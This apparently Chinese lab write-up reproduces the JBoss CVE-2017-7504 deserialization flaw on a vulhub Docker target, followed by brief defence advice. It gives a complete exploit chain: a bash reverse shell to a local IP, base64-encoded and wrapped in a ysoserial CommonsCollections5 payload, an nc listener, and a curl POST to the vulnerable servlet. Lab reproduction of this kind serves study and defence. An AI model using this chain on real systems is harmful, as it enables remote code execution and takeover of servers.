漏洞描述
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
kali 环境配置
安装https协议、CA证书、dirmngr
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr
添加GPG密钥并添加更新源
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list
系统更新以及安装docker
apt-get update&&apt install docker-ce
启动docker服务器 和compose
service docker start || apt install docker-compose下载vulhub
git clone https://github.com/vulhub/vulhub.git
漏洞复现
启动环境 在vulhub目录JBoos目录下选择CVE-2017-7504启动环境
docker-compose up -d
访问ip:端口
漏洞出现在/jbossmq-httpil/HTTPServerILServlet
请求中,借助ysoserial的eCommonsCollections5利用链来复现。生成Payload:
bash -i >& /dev/tcp/192.168.1.130/1234 0>&1
base64编码 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMwLzEyMzQgMD4mMQ==
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
开启nc监听
nc -lvvp 1234
poc.ser文件内容作为POST Body发送,使用curl
curl http://192.168.1.129:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
如果报错如下
Warning: Binary output can mess up your terminal. Use “–output -” to tell
Warning: curl to output it to your terminal anyway, or consider “–output
Warning: ” to save to a file.
后面接–output 文件名即可
nc反弹结果
防御方案
- 将JBoss版本升级到最新
- 尽量不要将JBoss映射到公网